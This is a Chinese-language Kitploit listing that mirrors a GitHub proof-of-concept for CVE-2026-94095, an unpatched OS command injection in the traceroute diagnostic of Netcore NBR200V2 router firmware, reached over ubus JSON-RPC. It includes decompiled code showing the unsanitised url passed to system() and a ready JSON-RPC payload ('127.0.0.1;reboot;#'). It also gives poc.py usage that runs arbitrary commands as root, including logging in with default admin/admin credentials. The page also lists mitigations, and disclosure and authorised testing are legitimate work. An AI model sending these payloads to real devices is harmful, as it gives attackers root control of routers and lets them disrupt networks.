Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-94095 — 针对 CVE-2026-94095 的 PoC,该漏洞是 Netcore NBR200V2 固件中通过 ubus JSON-RPC 实现的 traceroute 命令注入,可在授权测试中实现 root RCE。 | Kitploit
工具/GitHubGitHub/hackspeak/cve-2026-94095
嵌入式系统安全物联网安全漏洞分析漏洞利用Web应用程序漏洞利用渗透测试硬件与物联网安全论文与研究
GitHubhackspeak/cve-2026-94095

CVE-2026-94095

针对 CVE-2026-94095 的 PoC,该漏洞是 Netcore NBR200V2 固件中通过 ubus JSON-RPC 实现的 traceroute 命令注入,可在授权测试中实现 root RCE。

查看仓库
17小时33分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Netcore NBR200V2 - traceroute 诊断功能中的远程命令注入(CVE-2026-94095)

字段值
厂商Netcore
型号NBR200V2
固件版本V1.3.241127.071246
受影响组件/usr/bin/network_tools
漏洞类型OS 命令注入(CWE-74 / CWE-77)
CVSS 3.19.9(严重)
攻击向量远程(ubus JSON-RPC)
前置条件可访问的 ubus 端点 + 一个低权限会话(sid)
厂商状态已提前联系;无回应;披露时无补丁

描述

Netcore NBR200V2 固件 V1.3.241127.071246 在 traceroute 诊断功能 中存在远程命令注入漏洞。traceroute 处理程序从 ubus JSON-RPC 接收攻击者可控的 url 值,将其拼接进 shell 命令,并执行生成的命令。远程攻击者可以利用此缺陷执行任意 shell 命令、重启设备或实现完整的系统入侵。

漏洞链

远程请求以 ubus JSON-RPC 形式被接收:

root@kitploit:~
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}

ubus 方法映射将请求路由到 sub_401BD8:

root@kitploit:~
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8

sub_401BD8 解析 JSON-RPC 数据并将其转发给 tools_traceroute():

root@kitploit:~
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18;              // action
v25[1] = v7;               // url
v25[2] = _bswapsi2(*v8);   // max_hop
...
result = tools_traceroute((int)v25);

tools_traceroute() 使用不可信的 url 值构建 shell 命令:

root@kitploit:~
snprintf(
    v4, 0x100u,
    "(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
    v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);

该漏洞在 结构上与 ping 问题完全相同,但到达不同的汇聚点和执行路径。由于使用了 system(),诸如 ;、&& 和 shell 注释等命令分隔符均会被执行。因此该诊断功能变成了一个 通用命令执行原语。

概念验证

root@kitploit:~
POST /ubus
Content-Type: application/json

{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}

预期效果: 路由器在处理 traceroute 任务时执行 reboot。任意 shell 命令均可替换 reboot。

相关漏洞(同批次)

  • CVE-2026-94096 — LAN IP 配置路径(同一二进制文件,同一模式)。
  • CVE-2026-94097 — CGI 诊断端点(CVSS 10.0)。

三者均到达同一个 /usr/bin/network_tools;该二进制文件中的诊断函数共享相同的不安全模式,因此仅修复单个入口点是不够的。

修复建议

披露时无厂商补丁。临时缓解措施:

  1. 不要将管理接口暴露给不可信网络;移除所有 WAN 侧管理映射;
  2. 更改默认凭据并强制使用强密码、轮换密码(ubus 身份验证是此攻击的前置条件);
  3. 通过防火墙将 ubus / 管理端点限制在专用运维子网;
  4. 跟踪厂商固件更新,并一并验证 CVE-2026-94095/94096/94097 的修复。

致谢

由独立研究者披露,该研究者发布了技术分析报告并(未能成功)与厂商协调。


分发镜像说明(中文)

本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

漏洞简述 / Vulnerability Summary

  • CVE-2026-94095(同批:CVE-2026-94096 / CVE-2026-94097)
  • 影响产品:Netcore NBR200V2 企业路由器,固件 V1.3.241127.071246
  • 受影响组件:/usr/bin/network_tools(traceroute 诊断功能)
  • 类型:OS 命令注入(CWE-74 / CWE-77)
  • CVSS 3.1:9.9(Critical);CVSS 4.0:8.6;CVSS 2.0:9.0
  • 攻击面:ubus JSON-RPC 端点(POST /ubus)
  • 前置条件:可访问 ubus 接口 + 一个低权限会话(sid);弱口令/默认口令会显著降低门槛
  • 修复状态:披露者提前联系厂商,厂商零回应,暂无官方补丁

核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。

目录结构 / Layout

root@kitploit:~
CVE-2026-94095.md   —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py              —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)

环境与用法 / Requirements & Usage

  • 目标:未修复的 Netcore NBR200V2(实验室设备);需可访问 POST /ubus 与一个有效 sid
  • 依赖:Python 3(纯标准库,零第三方依赖)
root@kitploit:~
# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"

# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"

⚠️ 命令会被拼接为 127.0.0.1;<命令>;# 注入 url 参数;reboot 会直接重启设备,请仅在授权/可销毁环境测试。

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。

归属与许可 / Attribution & License

  • 漏洞由独立研究者公开披露并整理利用链;本仓库为其公开材料的镜像与 PoC 实现。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-94095
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-94095
  • 第三方分析(VulDB):https://vuldb.com/vuln/408024
下载工具